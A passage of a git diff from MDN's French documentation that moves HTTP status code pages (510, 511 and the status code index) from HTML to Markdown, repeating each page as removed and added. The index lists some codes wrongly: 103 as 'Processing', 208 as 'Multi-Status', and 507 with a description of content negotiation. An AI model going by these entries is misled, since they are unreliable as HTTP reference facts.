Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510.

- -

Statut

- -
510 Not Extended
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("2774", "510 Not Extended" , "7")}}Cadre pour les extensions HTTP (An HTTP Extension Framework)
diff --git a/files/fr/web/http/status/510/index.md b/files/fr/web/http/status/510/index.md new file mode 100644 index 0000000000..cd2810ad85 --- /dev/null +++ b/files/fr/web/http/status/510/index.md @@ -0,0 +1,35 @@ +--- +title: 510 Not Extended +slug: Web/HTTP/Status/510 +tags: + - Code de statut + - Erreur serveur + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/510 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 510 Not Extended est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le RFC 2774.

+ +

Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510.

+ +

Statut

+ +
510 Not Extended
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("2774", "510 Not Extended" , "7")}}Cadre pour les extensions HTTP (An HTTP Extension Framework)
diff --git a/files/fr/web/http/status/511/index.html b/files/fr/web/http/status/511/index.html deleted file mode 100644 index d43db2371d..0000000000 --- a/files/fr/web/http/status/511/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 511 Network Authentication Required -slug: Web/HTTP/Status/511 -tags: - - HTTP - - HTTP Status Code - - Reference - - Server error - - Status code -translation_of: Web/HTTP/Status/511 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP d'erreur serveur 511 Network Authentication Required indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau.

- -

Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau.

- -

Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}).

- -

Statut

- -
511 Network Authentication Required
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("6585", "511 Network Authentication Required" , "6")}}Additional HTTP Status Codes
- -

Voir aussi

- - diff --git a/files/fr/web/http/status/511/index.md b/files/fr/web/http/status/511/index.md new file mode 100644 index 0000000000..d43db2371d --- /dev/null +++ b/files/fr/web/http/status/511/index.md @@ -0,0 +1,43 @@ +--- +title: 511 Network Authentication Required +slug: Web/HTTP/Status/511 +tags: + - HTTP + - HTTP Status Code + - Reference + - Server error + - Status code +translation_of: Web/HTTP/Status/511 +--- +
{{HTTPSidebar}}
+ +

Le code de réponse HTTP d'erreur serveur 511 Network Authentication Required indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau.

+ +

Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau.

+ +

Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}).

+ +

Statut

+ +
511 Network Authentication Required
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("6585", "511 Network Authentication Required" , "6")}}Additional HTTP Status Codes
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/index.html b/files/fr/web/http/status/index.html deleted file mode 100644 index 4d7ec75019..0000000000 --- a/files/fr/web/http/status/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Codes de réponse HTTP -slug: Web/HTTP/Status -tags: - - HTTP - - Status codes - - TopicStub -translation_of: Web/HTTP/Status ---- -
{{HTTPSidebar}}
- -

Les codes de statut de réponse HTTP indiquent si une requête HTTP a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: 

- -
    -
  1. Les réponses informatives (100 - 199),
    2. -
  2. Les réponses de succès (200 - 299),
    3. -
  3. Les redirections (300 - 399),
    4. -
  4. Les erreurs du client (400 - 499),
    5. -
  5.  Les erreurs du serveur (500 - 599).
    6. -
- -

Réponses informatives

- -
-
{{HTTPStatus(100, "100 Continue")}}
-
Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie.
-
{{HTTPStatus(101, "101 Switching Protocol")}}
-
Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur.
-
{{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}})
-
Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment.
-
- -

Réponses de succès

- -
-
{{HTTPStatus(200, "200 OK")}}
-
La requête a réussi. Le signification du succès peut varier selon la méthode HTTP : GET : La ressource a été récupérée et est retransmise dans le corps du message. HEAD : Les en-têtes d'entité sont dans le corps du message. POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message. TRACE : Le corps du message contient le message de requête tel que reçu par le serveur
-
{{HTTPStatus(201, "201 Created")}}
-
La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT.
-
{{HTTPStatus(202, "202 Accepted")}}
-
La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots.
-
{{HTTPStatus(203, "203 Non-Authoritative Information")}}
-
Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable.
-
{{HTTPStatus(204, "204 No Content")}}
-
Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux.
-
{{HTTPStatus(205, "205 Reset Content")}}
-
Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête.
-
{{HTTPStatus(206, "206 Partial Content")}}
-
Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux.
-
{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
-
Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés.
-
{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
-
Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection.
-
{{HTTPStatus(226, "226 IM Used")}} (HTTP Delta encoding)
-
Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante.
-
- -

Messages de redirection

- -
-
{{HTTPStatus(300, "300 Multiple Choice")}}
-
La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses.
-
{{HTTPStatus(301, "301 Moved Permanently")}}
-
Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse.
-
{{HTTPStatus(302, "302 Found")}}
-
Ce code de réponse indique que l'URI de la ressource demandée a été modifiée temporairement. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures.
-
{{HTTPStatus(303, "303 See Other")}}
-
Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET.
-
{{HTTPStatus(304, "304 Not Modified")}}
-
Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache.
-
{{HTTPStatus(305, "305 Use Proxy")}}
-
A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy.
-
{{HTTPStatus(306, "306 unused")}}
-
Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1.
-
{{HTTPStatus(307, "307 Temporary Redirect")}}
-
Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code 302 Found, à l'exception près que l'agent utilisateur ne doit pas changer la méthode HTTP utilisée : si POST était utilisé dans la première requête, alors POST doit être utilisé dans la seconde.
-
{{HTTPStatus(308, "308 Permanent Redirect")}}
-
Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP Location:. Ce code a la même sémantique que le code 301 Moved Permanently, à l'exception près que l'agent utilisateur ne doit pas changer la méthode HTTP utilisée : si POST était utilisé dans la première requête, alors POST doit être utilisé dans la seconde.
-
- -

Réponses d'erreur côté client

- -
-
{{HTTPStatus(400, "400 Bad Request")}}
-
Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide.
-
{{HTTPStatus(401, "401 Unauthorized")}}
-
Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible.
-
{{HTTPStatus(402, "402 Payment Required")}}
-
Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement.
-
{{HTTPStatus(403, "403 Forbidden")}}
-
Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse.
-
{{HTTPStatus(404, "404 Not Found")}}
-
Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web.
-
{{HTTPStatus(405, "405 Method Not Allowed")}}
-
La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, GET et HEAD, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur.
-
{{HTTPStatus(406, "406 Not Acceptable")}} 
-
Cette réponse est envoyée quand le serveur web, après une négotiation de contenu géré par le serveur, ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur.
-
- -
-
{{HTTPStatus(407, "407 Proxy Authentication Required")}}
-
Similaire au code 401, sauf que l'identification doit être faite par un proxy.
-
{{HTTPStatus(408, "408 Request Timeout")}}
-
Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des mécanismes de préconnexion HTTP pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message.
-
{{HTTPStatus(409, "409 Conflict")}}
-
Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur.
-
{{HTTPStatus(410, "410 Gone")}}
-
Cette réponse est envoyée quand le contenu demandé est supprimé du serveur.
-
{{HTTPStatus(411, "411 Length Required")}}
-
Le serveur a rejeté la requête car le champ d'en-tête Content-Length n'est pas défini et le serveur l'impose.
-
{{HTTPStatus(412, "412 Precondition Failed")}}
-
Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas.
-
{{HTTPStatus(413, "413 Payload Too Large")}}
-
L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête Retry-After.
-
{{HTTPStatus(414, "414 URI Too Long")}}
-
L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter.
-
{{HTTPStatus(415, "415 Unsupported Media Type")}}
-
Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête.
-
{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}
-
La plage spécifiée par le champ d'en-tête Range de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé.
-
{{HTTPStatus(417, "417 Expectation Failed")}}
-
Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête Expect n'ont pas pu être satisfaites par le serveur.
-
{{HTTPStatus(418, "418 I'm a teapot")}}
-
Le serveur refuse de brasser du café avec une théière.
-
{{HTTPStatus(421, "421 Misdirected Request")}}
-
La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête.
-
{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})
-
La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques.
-
{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})
-
La ressource qui est en train d'être consultée est verrouillée.
-
- -
-
{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})
-
La requête a échoué à cause de l'échec d'une requête précédente.
-
- -
-
{{HTTPStatus(426, "426 Upgrade Required")}}
-
Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur doit envoyer un champ Upgrade dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) (Section 6.7 de [RFC7230]).
-
{{HTTPStatus(428, "428 Precondition Required")}}
-
Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit.
-
{{HTTPStatus(429, "429 Too Many Requests")}}
-
L'utilisateur a émis trop de requêtes dans un laps temps donné.
-
{{HTTPStatus(431, "431 Request Header Fields Too Large")}}
-
Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes.
-
{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}
-
L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement.
-
- -

Réponses d'erreur côté serveur

- -
-
{{HTTPStatus(500, "500 Internal Server Error")}}
-
Le serveur a rencontré une situation qu'il ne sait pas traiter.
-
{{HTTPStatus(501, "501 Not Implemented")}}
-
La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont GET et HEAD.
-
{{HTTPStatus(502, "502 Bad Gateway")}}
-
Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide.
-
{{HTTPStatus(503, "503 Service Unavailable")}}
-
Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête Retry-After doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache).
-
{{HTTPStatus(504, "504 Gateway Timeout")}}
-
Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps.
-
{{HTTPStatus(505, "505 HTTP Version Not Supported")}}
-
La version de HTTP utilisée dans la requête n'est pas supportée par le serveur.
-
{{HTTPStatus(506, "506 Variant Also Negotiates")}}
-
Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire.
-
{{HTTPStatus(507, "507 Insufficient Storage")}}
-
Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un nœud terminal valable dans le processus de négociation.
-
{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})
-
Le serveur a détecté une boucle infinie en traitant la requête.
-
{{HTTPStatus(510, "510 Not Extended")}}
-
Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête.
-
{{HTTPStatus(511, "511 Network Authentication Required")}}
-
Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau.
-
- -

Voir aussi

- - \ No newline at end of file diff --git a/files/fr/web/http/status/index.md b/files/fr/web/http/status/index.md new file mode 100644 index 0000000000..4d7ec75019 --- /dev/null +++ b/files/fr/web/http/status/index.md @@ -0,0 +1,183 @@ +--- +title: Codes de réponse HTTP +slug: Web/HTTP/Status +tags: + - HTTP + - Status codes + - TopicStub +translation_of: Web/HTTP/Status +--- +
{{HTTPSidebar}}
+ +

Les codes de statut de réponse HTTP indiquent si une requête HTTP a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: 

+ +
    +
  1. Les réponses informatives (100 - 199),
    2. +
  2. Les réponses de succès (200 - 299),
    3. +
  3. Les redirections (300 - 399),
    4. +
  4. Les erreurs du client (400 - 499),
    5. +
  5.  Les erreurs du serveur (500 - 599).
    6. +
+ +

Réponses informatives

+ +
+
{{HTTPStatus(100, "100 Continue")}}
+
Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie.
+
{{HTTPStatus(101, "101 Switching Protocol")}}
+
Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur.
+
{{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}})
+
Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment.
+
+ +

Réponses de succès

+ +
+
{{HTTPStatus(200, "200 OK")}}
+
La requête a réussi. Le signification du succès peut varier selon la méthode HTTP : GET : La ressource a été récupérée et est retransmise dans le corps du message. HEAD : Les en-têtes d'entité sont dans le corps du message. POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message. TRACE : Le corps du message contient le message de requête tel que reçu par le serveur
+
{{HTTPStatus(201, "201 Created")}}
+
La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT.
+
{{HTTPStatus(202, "202 Accepted")}}
+
La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots.
+
{{HTTPStatus(203, "203 Non-Authoritative Information")}}
+
Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable.
+
{{HTTPStatus(204, "204 No Content")}}
+
Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux.
+
{{HTTPStatus(205, "205 Reset Content")}}
+
Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête.
+
{{HTTPStatus(206, "206 Partial Content")}}
+
Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux.
+
{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
+
Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés.
+
{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
+
Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection.
+
{{HTTPStatus(226, "226 IM Used")}} (HTTP Delta encoding)
+
Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante.
+
+ +

Messages de redirection

+ +
+
{{HTTPStatus(300, "300 Multiple Choice")}}
+
La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses.
+
{{HTTPStatus(301, "301 Moved Permanently")}}
+
Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse.
+
{{HTTPStatus(302, "302 Found")}}
+
Ce code de réponse indique que l'URI de la ressource demandée a été modifiée temporairement. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures.
+
{{HTTPStatus(303, "303 See Other")}}
+
Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET.
+
{{HTTPStatus(304, "304 Not Modified")}}
+
Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache.
+
{{HTTPStatus(305, "305 Use Proxy")}}
+
A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy.
+
{{HTTPStatus(306, "306 unused")}}
+
Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1.
+
{{HTTPStatus(307, "307 Temporary Redirect")}}
+
Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code 302 Found, à l'exception près que l'agent utilisateur ne doit pas changer la méthode HTTP utilisée : si POST était utilisé dans la première requête, alors POST doit être utilisé dans la seconde.
+
{{HTTPStatus(308, "308 Permanent Redirect")}}
+
Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP Location:. Ce code a la même sémantique que le code 301 Moved Permanently, à l'exception près que l'agent utilisateur ne doit pas changer la méthode HTTP utilisée : si POST était utilisé dans la première requête, alors POST doit être utilisé dans la seconde.
+
+ +

Réponses d'erreur côté client

+ +
+
{{HTTPStatus(400, "400 Bad Request")}}
+
Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide.
+
{{HTTPStatus(401, "401 Unauthorized")}}
+
Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible.
+
{{HTTPStatus(402, "402 Payment Required")}}
+
Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement.
+
{{HTTPStatus(403, "403 Forbidden")}}
+
Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse.
+
{{HTTPStatus(404, "404 Not Found")}}
+
Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web.
+
{{HTTPStatus(405, "405 Method Not Allowed")}}
+
La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, GET et HEAD, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur.
+
{{HTTPStatus(406, "406 Not Acceptable")}} 
+
Cette réponse est envoyée quand le serveur web, après une négotiation de contenu géré par le serveur, ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur.
+
+ +
+
{{HTTPStatus(407, "407 Proxy Authentication Required")}}
+
Similaire au code 401, sauf que l'identification doit être faite par un proxy.
+
{{HTTPStatus(408, "408 Request Timeout")}}
+
Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des mécanismes de préconnexion HTTP pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message.
+
{{HTTPStatus(409, "409 Conflict")}}
+
Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur.
+
{{HTTPStatus(410, "410 Gone")}}
+
Cette réponse est envoyée quand le contenu demandé est supprimé du serveur.
+
{{HTTPStatus(411, "411 Length Required")}}
+
Le serveur a rejeté la requête car le champ d'en-tête Content-Length n'est pas défini et le serveur l'impose.
+
{{HTTPStatus(412, "412 Precondition Failed")}}
+
Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas.
+
{{HTTPStatus(413, "413 Payload Too Large")}}
+
L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête Retry-After.
+
{{HTTPStatus(414, "414 URI Too Long")}}
+
L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter.
+
{{HTTPStatus(415, "415 Unsupported Media Type")}}
+
Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête.
+
{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}
+
La plage spécifiée par le champ d'en-tête Range de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé.
+
{{HTTPStatus(417, "417 Expectation Failed")}}
+
Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête Expect n'ont pas pu être satisfaites par le serveur.
+
{{HTTPStatus(418, "418 I'm a teapot")}}
+
Le serveur refuse de brasser du café avec une théière.
+
{{HTTPStatus(421, "421 Misdirected Request")}}
+
La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête.
+
{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})
+
La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques.
+
{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})
+
La ressource qui est en train d'être consultée est verrouillée.
+
+ +
+
{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})
+
La requête a échoué à cause de l'échec d'une requête précédente.
+
+ +
+
{{HTTPStatus(426, "426 Upgrade Required")}}
+
Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur doit envoyer un champ Upgrade dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) (Section 6.7 de [RFC7230]).
+
{{HTTPStatus(428, "428 Precondition Required")}}
+
Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit.
+
{{HTTPStatus(429, "429 Too Many Requests")}}
+
L'utilisateur a émis trop de requêtes dans un laps temps donné.
+
{{HTTPStatus(431, "431 Request Header Fields Too Large")}}
+
Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes.
+
{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}
+
L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement.
+
+ +

Réponses d'erreur côté serveur

+ +
+
{{HTTPStatus(500, "500 Internal Server Error")}}
+
Le serveur a rencontré une situation qu'il ne sait pas traiter.
+
{{HTTPStatus(501, "501 Not Implemented")}}
+
La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont GET et HEAD.
+
{{HTTPStatus(502, "502 Bad Gateway")}}
+
Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide.
+
{{HTTPStatus(503, "503 Service Unavailable")}}
+
Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête Retry-After doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache).
+
{{HTTPStatus(504, "504 Gateway Timeout")}}
+
Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps.
+
{{HTTPStatus(505, "505 HTTP Version Not Supported")}}
+
La version de HTTP utilisée dans la requête n'est pas supportée par le serveur.
+
{{HTTPStatus(506, "506 Variant Also Negotiates")}}
+
Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire.
+
{{HTTPStatus(507, "507 Insufficient Storage")}}
+
Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un nœud terminal valable dans le processus de négociation.
+
{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})
+
Le serveur a détecté une boucle infinie en traitant la requête.
+
{{HTTPStatus(510, "510 Not Extended")}}
+
